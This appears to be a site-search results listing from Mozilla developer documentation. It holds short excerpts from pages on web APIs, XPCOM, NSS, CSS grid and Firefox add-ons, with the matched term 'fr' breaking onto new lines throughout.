...if the interface is called nsifoo and the class is called nsfoo, we say that "nsfoo implements nsifoo", or that "nsfoo inherits
from nsifoo".
...And 24 more matches
nsIBinaryInputStream
xpcom/io/nsibinaryinputstream.idlscriptable this interface allows consumption of primitive data types
from a "binary stream" containing untagged, big-endian binary data, that is as produced by an implementation of nsibinaryoutputstream.
... this might be used, for example, to implement network protocols or to read
from architecture-neutral disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... inherits
from: nsiinputstream last changed in gecko 1.7 method overview pruint8 read8(); pruint16 read16(); pruint32 read32(); pruint64 read64(); unsigned long readarraybuffer(in pruint32 alength, in jsval aarraybuffer); prbool readboolean(); void readbytearray(in pruint32 alength, [array, size_is(alength), retval] out pruint8 abytes); void readbytes(in pruint32 alength, [size_is(alength), retval] out string astring); acstring readcstring(); double readdouble(); float readfloat(); astring readstring(); void setinputstream(in nsiinputstream ainputstream); methods read8() reads
from the stream.
...And 24 more matches
Debugger.Object - Firefox Developer Tools
(in firefox terminology, privileged code sees the element through an "xray wrapper".) to ensure that debugger code sees each object just as the debuggee would, each debugger.object instance presents its referent as it would be seen
from a particular compartment.
...as a consequence, a single debugger instance may actually have several debugger.object instances: one for each compartment
from which the referent is viewed.
... debugger.object instances protect their referents
from the garbage collector; as long as the debugger.object instance is live, the referent remains live.
...And 24 more matches
BiquadFilterNode() - Web APIs
syntax var biquadfilternode = new biquadfilternode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
...the defaults for all are as follows: q: 1 detune: 0
frequency: 350 gain: 0 lowpass: (default) allows
frequencies below a cutoff
frequency to pass through, and attenuates
frequencies above the cutoff.
... q: controls how peaked the response will be at the cutoff
frequency.
...And 24 more matches
BiquadFilterNode.type - Web APIs
type values and their meaning type description
frequency q gain lowpass standard second-order resonant lowpass filter with 12db/octave rolloff.
...
frequencies below the cutoff pass through;
frequencies above it are attenuated.
... the cutoff
frequency.
...And 24 more matches
Using IndexedDB - Web APIs
this article documents the types of objects used by indexeddb, as well as the methods of the asynchronous api (the synchronous api was removed
from spec).
...stores needed for this version of the database: // this event is only implemented in recent browsers request.onupgradeneeded = function(event) { // save the idbdatabase interface var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores
from the previous version of the database, so you do not have to create these object stores again.
... you only need to create any new object stores, or delete object stores
from the previous version that are no longer needed.
...And 24 more matches
panel - Archive of obsolete content
the screenshot below shows a panel whose content is built
from the list of currently open tabs: panels are useful for presenting temporary interfaces to users in a way that is easier for users to ignore and dismiss than a modal dialog, since panels are hidden the moment users interact with parts of the application interface outside them.
... panel content the panel's content is specified as html, which is loaded
from the url supplied in the contenturl option to the panel's constructor.
...to do this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show();
from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...And 23 more matches
Index - Game development
2 anatomy of a video game games, javascript, main loop, requestanimation
frame i want to be clear that any of the above, or none of them, could be best for your game.
... 3 examples demos, example, games, web this page lists a number of impressive web technology demos for you to get inspiration
from, and generally have fun with.
...you might however also focus on selling licenses, doing branding, or earning on a revenue share basis
from the advertisements.
...And 23 more matches
IME handling guide
this is a technical term
from windows but these days, this is used on other platforms as well.
...ime is used by chinese, japanese, korean and taiwan users for inputting chinese characters because the number of them is beyond thousands and cannot be input
from the keyboard directly.
...when a user converts
from hiragana characters to chinese characters the composition string, japanese ime separates the composition string into multiple clauses.
...And 23 more matches
Finishing the Component
« previousnext » at this point you have created most of the in
frastructure of the component.
...when the component starts up, it populates a list of urls read in
from a file stored next to the gecko binary on the local system.
... using
frozen interfaces the core functionality of blocking sites is still missing, however.
...And 23 more matches
Signaling and video calling - Web APIs
you can use anything you like,
from websocket to xmlhttprequest to carrier pigeons to exchange the signaling information between the two peers.
... sdp the sdp (session description protocol) string describing the local end of the connection
from the perspective of the sender (or the remote end of the connection
from the receiver's point of view).
... note: the important thing to note is this: the only thing your code is responsible for during ice negotiation is accepting outgoing candidates
from the ice layer and sending them across the signaling connection to the other peer when your onicecandidate handler is executed, and receiving ice candidate messages
from the signaling server (when the "new-ice-candidate" message is received) and delivering them to your ice layer by calling rtcpeerconnection.addicecandidate().
...And 23 more matches
remote/child - Archive of obsolete content
it provides two main things: access to web content loaded into this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a
frames property that's a list of all content
frames loaded into this child process.
... each
frame then has a content property that's the top-level dom window for the
frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events dispatched by the
frame.
... communicating with the parent process to communicate with the parent process, the process,
frames, and
frame objects in sdk/remote/child have a port object that you can use to receive messages
from, and send messages to, code in the parent.
...And 22 more matches
Getting started with Svelte - Learn web development
previous overview: client-side javascript
frameworks next in this article we'll provide a quick introduction to the svelte
framework.
... we will see how svelte works and what sets it apart
from the rest of the
frameworks and tools we've seen so far.
... svelte is a compiler that generates minimal and highly optimized javascript code
from our sources; you'll need a terminal with node + npm installed to compile and build your app.
...And 22 more matches
certutil
each option may take arguments, anywhere
from none to multiple arguments.
... -b run a series of commands
from the specified batch file.
... -c create a new binary certificate file
from a binary certificate request file.
...And 22 more matches
An Overview of XPCOM
the xpcom solution the cross platform component object module (xpcom) is a
framework which allows developers to break up monolithic software projects into smaller modularized pieces.
...in order to allow interoperability between components within an application, xpcom separates the implementation of a component
from the interface, which we discuss in interfaces.
...in the haste of early mozilla development, components were created where they were inappropriate, but there's been an ongoing effort to remove xpcom
from places like this.
...And 22 more matches
Using the clipboard
this section provides information about cutting, copying, and pasting to and
from the clipboard.
...you can use them to copy and paste any type of data
from your application to the clipboard.
...the third is an object which is used to transfer the data
from the first object to the clipboard.
...And 22 more matches
Standard OS Libraries
the alternative to standard libraries is creating your own dll (for windows) or so (for linux) file with c functions that can be called
from your add-on with js-ctypes.
...windows also has the "winapilists" and ".net
framework" (i'm not sure if it can be accessed jsctypes but probably).
...for finding out the values and types of arguments and returns of the functions you want to use
from this api, you must visit the functions page on this linked msdn site; it will give you all that information.
...And 22 more matches
Index - Firefox Developer Tools
2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward
from the bottom of the page.
...this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed
from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay).
... 9 introduction to dom inspector dom_inspector the dom inspector is a mozilla extension that you can access
from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item
from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application.
...And 22 more matches
Adding 2D content to a WebGL context - Web APIs
we're loading a copy
from a cdn in our html's <head>.
...it's just we're drawing a square and we're putting it directly in
front of the camera perpendicular to the view direction.
... there are two shader functions run when drawing webgl content: the vertex shader and the
fragment shader.
...And 22 more matches
Writing WebSocket servers - Web APIs
it's the bridge
from http to websockets.
... server handshake response when the server receives the handshake request, it should send back a special response that indicates that the protocol will be changing
from http to websocket.
...the sec-websocket-accept header is important in that the server must derive it
from the sec-websocket-key that the client sent to it.
...And 22 more matches
Media container formats (file types) - Web media technologies
instead, it streams the encoded audio and video tracks directly
from one peer to another using mediastreamtrack objects to represent each track.
... codec name (short) full codec name browser compatibility1 3gp third generation partnership firefox for android adts audio data transport stream firefox2 flac
free lossless audio codec chrome 56, edge 16, firefox 51, safari 11 mpeg / mpeg-2 moving picture experts group (1 and 2) — mpeg-4 (mp4) moving picture experts group 4 chrome 3, edge 12, firefox, internet explorer 9, opera 24, safari 3.1 ogg ogg chrome 3, firefox 3.5, edge 173 (desktop only), internet explorer 9, opera 10.50 quicktime (mov) ...
... [2] available only if available on the underlying operating system's media
framework.
...And 22 more matches
widget - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
...for example, in the future firefox may allow the user to drag widgets
from the add-on bar to other toolbars.
...in the add-on's "main.js" file, we create the widget, assign it the html file and the content script, and listen for events
from the content script: const widgets = require("sdk/widget"); const data = require("sdk/self").data; var player = widgets.widget({ id: "player", width: 72, label: "player", contenturl: data.url("buttons.html"), contentscriptfile: data.url("button-script.js") }); player.port.on("play", function() { console.log("playing"); }); player.port.on("pause", function() { console.log("pausi...
...And 21 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in this document i try to answer some
frequently asked questions about the mozilla web browser and mail/news client and its support for ssl, s/mime, and related features based on cryptographic technology.
...at that point both nss and psm will be completely buildable using the open source code available
from the mozilla.org site, and nss and psm will be included in the mozilla binary releases distributed by mozilla.org.
... yes, as long as patent or other legal issues do not prevent such code
from being used by the general community of mozilla developers.
...And 21 more matches
The Implementation of the Application Object Model - Archive of obsolete content
this page might be interesting
from historic perspective.
...in recent years, xul dropped the z
from its name and replaced it with an x, and upon doing so, transformed into something far worse than a demon.
...rdf stands for resource description
framework, a rather intimidating name that doesn't do much to help the layman understand exactly what it does.
...And 21 more matches
Efficient animation for web games - Game development
we touch on css transitions and css animations, and javascript loops involving window.requestanimation
frame.
... to take a concrete example, if you start a css transition to move something
from off-screen so that it is fully visible on-screen, the browser knows that the related content will end up completely visible to the user and can then pre-render that content.
... use requestanimation
frame when you are animating <canvas> content, or when your dom animations absolutely must synchronise with canvas content animations, do make sure to use window.requestanimation
frame, and not older methods such as window.settimeout.
...And 21 more matches
HTML text fundamentals - Learn web development
(we usually spend a very short time on a web page.) if they can't see anything useful within a few seconds, they'll likely get
frustrated and go somewhere else.
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away
from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%">my short story i am a statistician and my name is trish.
..., updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var
front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value =
front + text + back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates t...
...And 21 more matches
Command line crash course - Learn web development
a large number of tools can be used by typing commands into the command line; many come pre-installed on your system, and a huge number of others are installable
from package registries.
... on the surface they’re far
from welcoming but there’s a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get easier!
... this is why we are providing this chapter — to help you get started in this seemingly un
friendly environment.
...And 21 more matches
Eclipse CDT Manual Setup
the way that eclipse cdt does build option discovery is to scan the console output
from a real build looking for lines where a compiler was invoked.
...if relative paths are used to specify the source file or any of its include paths (common in mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked
from, this will not be possible.
...the build must be explicitly instructed to output information that allows the directory, where the compiler is being invoked
from to be identified (i.e., 'make' must be instructed to output "entering directory..."/"leaving directory..." lines).
...And 21 more matches
OS.File for the main thread
this page details how to use file i/o
from the main thread.
... using os.file
from a jsm to import os.file into your chrome code, add the following line at the start of your script: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file
from the main thread, you need some understanding of the promise library.
...{ return task.spawn(function() { let view = new uint8array(data); let pos = 0; while (pos < view.bytelength) { pos += yield outfile.write(view.subarray(pos, chunksize)); } outfile.close(); }).then( null, function onfailure(reason) { outfile.close(); throw reason; } ); } example: save canvas to disk this exmaple uses image to load an image
from a path (note: if your path is a file on disk you must use local file; this is accomplished with os.path.tofileuri, which accepts a string).
...And 21 more matches
Avoiding leaks in JavaScript XPCOM components
there are no calls to malloc and
free and no reference counting.
... basics of memory management creating objects that are not a fixed size for the lifetime of the program (global variables) or a fixed size for the lifetime of a function (stack variables) requires a system for dynamic memory allocation: a system that allocates memory
from a space called the heap.
... the most common strategies for managing heap allocation are the following: malloc and
free (or new and delete) the simplest strategy for heap allocation is that the programmer makes one function call to request memory
from the heap and another one to return it.
...And 21 more matches
Debugger - Firefox Developer Tools
accessor properties of the debugger prototype object a debugger instance inherits the following accessor properties
from its prototype: enabled a boolean value indicating whether this debugger instance’s handlers, breakpoints, and the like are currently enabled.
...this property is initially true in a
freshly created debugger instance.
... this property gives debugger code a single point of control for disentangling itself
from the debuggee, regardless of what sort of events or handlers or “points” we add to the interface.
...And 21 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications
from the screen until full-screen mode is shut off.
... methods on the document interface document.exitfullscreen() requests that the user agent switch
from full-screen mode back to windowed mode.
... methods on the element interface element.requestfullscreen() asks the user agent to place the specified element (and, by extension, its descendants) into full-screen mode, removing all of the browser's ui elements as well as all other applications
from the screen.
...And 21 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
representing a position using a reference space as covered in defining spatial relationships with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system which is offset
from another coordinate system that is itself defined by some other space.
...a pose, simply put, describes a position and orientation relative to the origin of the reference space
from which it was created.
... there is only one way to create an xrpose, and that's using the getpose() method on an animation
frame as given using an xr
frame object.
...And 21 more matches
Window.open() - Web APIs
the window interface's open() method loads the specified resource into the new or existing browsing context (window, <i
frame> or tab) with the specified name.
... windowname optional a domstring specifying the name of the browsing context (window, <i
frame> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
... description the open() method creates a new secondary browser window, similar to choosing new window
from the file menu.
...And 21 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
line naming is incredibly useful, but some of the more baffling looking grid syntax comes
from this combination of names and track sizes.
... .wrapper { display: grid; grid-template-columns: [main-start] 1
fr [content-start] 1
fr [content-end] 1
fr [main-end]; grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end]; } once the lines have names, we can use the name to place the item rather than the line number.
... implicit grid areas
from named lines when naming the lines, i mentioned that you can name these anything you like.
...And 21 more matches
Index - HTTP
browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is
frowned upon as it leads to fingerprinting).
... 7 access-control-allow-credentials cors, http, reference, header the access-control-allow-credentials response header tells browsers whether to expose the response to
frontend javascript code when the request's credentials mode (request.credentials) is "include".
... 10 access-control-allow-origin access control, access-control-allow-origin, cors, dealing with cors, http, http header, how to fix cors, reference, security, cross-origin issue, header, origin the access-control-allow-origin response header indicates whether the response can be shared with requesting code
from the given origin.
...And 21 more matches
Appendix D: Loading Scripts - Archive of obsolete content
speed: script tags may or may not be loaded
from pre-compiled bytecode in the fastload cache (gecko 1.x) or startup cache (gecko 2), which means they don't necessarily need to read as source and compiled with each restart.
... speed: even if these scripts are loaded
from a cache, only read and compile time are reduced.
...(a standalone xul window can use an onload attribute.) example the following overlay will load the script “overlay.js”
from the same directory as the overlay file into the window which it overlays.
...And 20 more matches
Space Manager High Level Design - Archive of obsolete content
the classes that are considered part of the space manager are: nsspacemanager nsbanddata nsblockbanddata bandrect / bandlist (private structs)
frameinfo (private struct) nsbandtrapezoid outside of the space manager itself, the clients of the space manager also play an important part in the management of he available and used space.
... the primary classes that interact with the space manager are: nsblockreflowstate nsblock
frame nsboxtoblockadaptor the general interaction model is to create a space manager for a block
frame in the context of a reflow, and to associate it with the blockreflowstate so it is passed down to child
frames' reflow methods.
...during reflow, the space manager stores the space taken up by floats (updatespacemanager in nsblock
frame) and provides information about the space available for other elements (getavailablespace in nsblockreflowstate).
...And 20 more matches
Table Reflow Internals - Archive of obsolete content
overview review of reflow table
frames table reflow intro to paginated reflow table paginated reflow review of reflow reflow process starts when an html document starts loading (the
frame tree contains only viewport, scroll(s), canvas, html, body).
... review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport
frame), which reflows it children, etc.
...absolutely positioned elements) reflows reflowee and passes a reflow state (in) and a reflow metrics (in/out) review of reflow the reflow state: is a node in a tree structurally equivalent to the
frame tree of reflow participants contains: reflow type, avail size, various computed values, resolved style structs possible request for preferred size and more.
...And 20 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
gecko was designed
from the ground up to be compliant with the w3c html, w3c css, w3c xml, w3c dom, and ecmascript (javascript) standards.
... web authors were faced
from the beginning with a variety of browsers, some of which supported the latest and greatest version html and some which did not.
...although this approach was considered reasonable at the time, this approach caused problems for browser vendors right
from the beginning.
...And 20 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
regardless of how the back-ends of your web applications are implemented, client side you're using javascript for everything
from same form validations to full ajax applications.
...in fact, the next javascript engine
from mozilla, tracemonkey, is poised to boost javascript performance by factors of 20 to 40 times according to brendan eich, mozilla cto and the creator of javascript.
... in recent developments we also see the advent of other performant engines for javascript such as v8
from google and squirrelfish for webkit, these engines are raising the bar on performance and help to maintain a competitive environment that will hopefully direct competitive focus on the performance aspect of all the major javascript implementations.
...And 20 more matches
Introduction to web APIs - Learn web development
overview: client-side web apis next first up, we'll start by looking at apis
from a high level — what are they, how do they work, how to use them in your code, and how are they structured?
...they abstract more complex code away
from you, providing some easier syntax to use in its place.
...they generally fall into two categories: browser apis are built into your web browser and are able to expose data
from the browser and surrounding computer environment and do useful complex things with it.
...And 20 more matches
NSS Sample Code Sample1
as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key
from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
... the other hosts (secondary) request keys
from the // primary host.
...the administrator of the secondary host verifies that the wrapped // key data came
from the primary host.
...And 20 more matches
Utilities for nss samples
these utility functions are adapted
from those found in the sectool library used by the nss security tools and other nss test applications.
... it shows the following: read der
from a file.
... get seed
from a noise gile.
...And 20 more matches
Component Internals
« previousnext » where the previous chapter described components
from the perspective of a client of xpcom components, this chapter discusses components
from the perspective of the software developer.
... the illustration below shows the basic relationship between the shared library containing the component implementation code you write and the xpcom
framework itself.
... a component in the xpcom
framework when you build a component or module and compile it into a library, it must export a single method named nsgetmodule.
...And 20 more matches
Mozilla
a bird's-eye view of the mozilla
framework the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application
framework.
... adding a new word to the en-us dictionary occasionally bugs are filed pointing out situations where perfectly legitimate words are missing
from the english spell check dictionary in firefox.
...it synchronously returns an nsiapplicationcache object representing the most recent cache version
from the most recent cache group containing the entry under the url or a matching namespace.
...And 20 more matches
Element - Web APIs
element is the most general base class
from which all element objects (i.e.
...more specific classes inherit
from element.
...lement" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent interface, node, and by extension that interface's parent, eventtarget.
...And 20 more matches
Timing element visibility with the Intersection Observer API - Web APIs
although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded
from a database, and there are just a handful of simple text-only ads that are selected
from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site.
...traightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul> <li><a href="#link1">a link</a></li> <li><a href="#link2">another link</a></li> <li><a href="#link3">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the
framework for the entire site.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1
fr); grid-template-rows: auto minmax(min-content, 1
fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color.
...And 20 more matches
WebGLRenderingContext - Web APIs
webglrenderingcontext.commit() pushes
frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... webglrenderingcontext.colormask() sets which color components to enable or to disable when drawing or rendering to a webgl
framebuffer.
... webglrenderingcontext.cullface() specifies whether or not
front- and/or back-facing polygons can be culled.
...And 20 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
you can also create a grid using flexible sizes with percentages or with the new
fr unit designed for this purpose.
...three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } the
fr unit tracks can be defined using any length unit.
...the new
fr unit represents a
fraction of the available space in the grid container.
...And 20 more matches
Using the application cache - HTML: Hypertext Markup Language
using this application cache feature is highly discouraged; it’s in the process of being removed
from the web platform.
...applications that are cached load and work correctly offline, even if users press the re
fresh button.
... reduced server load the browser only downloads resources that have changed
from the server.
...And 20 more matches
Details of the object model - JavaScript
a prototype-based language has the notion of a prototypical object, an object used as a template
from which to get the initial properties for a new object.
... javascript follows a similar model, but does not have a class definition separate
from the constructor.
...finally, you assign a new object derived
from employee.prototype as the prototype for the manager constructor function.
...And 20 more matches
Enhanced Extension Installation - Archive of obsolete content
first it must locate the firefox executable, then run it with the -install-global-extension command line flag, which installs
from a xpi into the firefox application directory.
... aside
from the work of locating the firefox executable in the first place (which varies
from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi.
... installation initiation when an item is installed
from the web, xpinstall is invoked and it calls into the extension system when it discovers that the xpi file contains an install.rdf manifest.
...And 19 more matches
List of Mozilla-Based Applications - Archive of obsolete content
if you have information about a new project or extra information about an existing project, please feel
free to update this page.
...mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-
framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva for java...
... main
frame connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for a
frican american community bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on xulrunner camino browser 2.5m downloads and ~400,000 active users ...
...And 19 more matches
Archived Mozilla and build documentation - Archive of obsolete content
activex control for hosting netscape plug-ins in ie microsoft has removed support for netscape plug-ins
from ie 5.5 sp 2 and beyond.
...searches, lookups, package tracking, and even word definitions can all be retrieved
from user-customized bookmarks.
... creating a hybrid cd creating a microsummary a microsummary generator is a set of instructions for creating a microsummary
from the content of a page.
...And 19 more matches
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features
from their "parent" classes.
...how do we create an object in javascript that inherits
from another object?
... say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members
from person, but also includes: a new property, subject — this will contain the subject the teacher teaches.
...And 19 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come
from, and what you can do to harden your web application against the most common attacks.
...the more formal definition of website security is the act/practice of protecting websites
from unauthorized access, use, modification, destruction, or disruption.
...while all that sounds very ominous, the good news is that if you're using a server-side web
framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
...And 19 more matches
Deployment and next steps - Learn web development
previous overview: client-side javascript
frameworks in the previous article we learning about svelte's typescript support, and how to use it to make your application more robust.
...it also starts a development server and watches for changes, recompiling the app and re
freshing the page when a change occurs.
... if we have a look at the rollup.config.js file, we can see that the svelte compiler is just a rollup plugin: import svelte
from 'rollup-plugin-svelte'; [...] import { terser }
from 'rollup-plugin-terser'; const production = !process.env.rollup_watch; export default { input: 'src/main.js', output: { sourcemap: true, format: 'iife', name: 'app', file: 'public/build/bundle.js' }, plugins: [ svelte({ // enable run-time checks when not in production dev: !production, // we'll e...
...And 19 more matches
Using the Browser API
the html browser api is an extension of the html <i
frame> element that allows web apps to implement browsers or browser-like applications.
... it consists of two major parts: custom <i
frame> attributes: by adding a mozbrowser attribute to the <i
frame> element we can make it appear like a top-level browser window to the embedded content.
... this means that window.top, window.parent, window.
frameelement, etc.
...And 19 more matches
PromiseWorker.jsm
here is the test case
from firefox codebase: mozilla dxr :: test_promise.js.
... sending a message
from main thread to send a message to a worker
from the main thread, one normally uses postmessage().
...if the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent
from, and it becomes available only to the worker it was sent to.
...And 19 more matches
Profiling with the Firefox Profiler
it is available
from the menu at tools > web developer > performance.
... you can check out some
frequently asked questions about the firefox profilers.
...these threads may come
from different processes.
...And 19 more matches
Encrypt Decrypt_MAC_Using Token
*/ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
free...
...encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file.
... */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfailure; } switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: str...
...And 19 more matches
NSS functions
this page lists all exported functions in nss 3.11.7 it was ported
from here.
... function name/documentation source code nss versions nss_getclientauthdata mxr 3.2 and later nss_setdomesticpolicy mxr 3.2 and later nss_setexportpolicy mxr 3.2 and later nss_set
francepolicy mxr 3.2 and later nssssl_versioncheck mxr 3.2.1 and later ssl_authcertificate mxr 3.2 and later ssl_authcertificatehook mxr 3.2 and later ssl_badcerthook mxr 3.2 and later ssl_certdbhandleset mxr 3.2 and later ssl_canbypass mxr 3.11.7 and later ssl_cipherpolicyget mxr 3.2 and l...
...later cert_addextension mxr 3.5 and later cert_addocspacceptableresponses mxr 3.6 and later cert_addokdomainname mxr 3.4 and later cert_addrdn mxr 3.2.1 and later cert_asciitoname mxr 3.2 and later cert_cachecrl mxr 3.10 and later cert_clearocspcache mxr 3.11.7 and later cert_certchain
fromcert mxr 3.2 and later cert_certlist
fromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 an...
...And 19 more matches
sslerr.html
ssl_error_bad_certificate -12284 "unable to communicate securely with peer: peers's certificate was rejected." a certificate was received
from the remote system and was passed to the certificate authentication callback function provided by the local application.
... -12283 (unused) ssl_error_bad_client -12282 "the server has encountered bad data
from the client." this error code should occur only on sockets that are acting as servers.
... ssl_error_bad_server -12281 "the client has encountered bad data
from the server." this error code should occur only on sockets that are acting as clients.
...And 19 more matches
nsISelectionPrivate
inherits
from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of this article may be out of date.
... method overview void addselectionlistener(in nsiselectionlistener newlistener); void endbatchchanges(); void getcached
frameoffset(in nsi
frame a
frame, in print32 inoffset, in nspointref apoint); native code only!
... nsienumerator getenumerator(); ns
frameselection get
frameselection(); native code only!
...And 19 more matches
Working with windows in chrome code
opening windows
from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
...this is different
from the user-visible window title, which is specified using xul.
... the window.opendialog function works similarly, but lets you specify optional arguments that can be referenced
from the javascript code.
...And 19 more matches
Streams - Plugins
in general, this mode is more expensive, because the entire stream must be downloaded to a temporary file before use unless the stream comes
from a local file or an http server that supports the byte-range extension to http.
... the plug-in can set the output parameter type to one of these transmission modes: np_normal: (default): the plug-in can process the data progressively as it arrives
from the network or file system through a series of calls to npp_writeready and npp_write.
...once the plug-in returns
from this method, the browser deletes the npstream object.
...And 19 more matches
URLs - Plugins
the plug-in uses the npn_geturl function to ask the browser to display data retrieved
from a url in a specified target window or
frame, or deliver it to the plug-in instance in a new stream.
... this is the way that plug-ins provide hyperlinks to other documents or retrieve data
from the network.
... the target parameter represents the destination where the url will be displayed, a window or
frame.
...And 19 more matches
Lighting a WebXR setting - Web APIs
because the webxr device api relies on other technologies—namely, webgl and
frameworks based upon it—to perform all rendering, texturing, and lighting of a scene, the same general lighting concepts apply to webxr settings or scenes as to any other webgl-generated display.
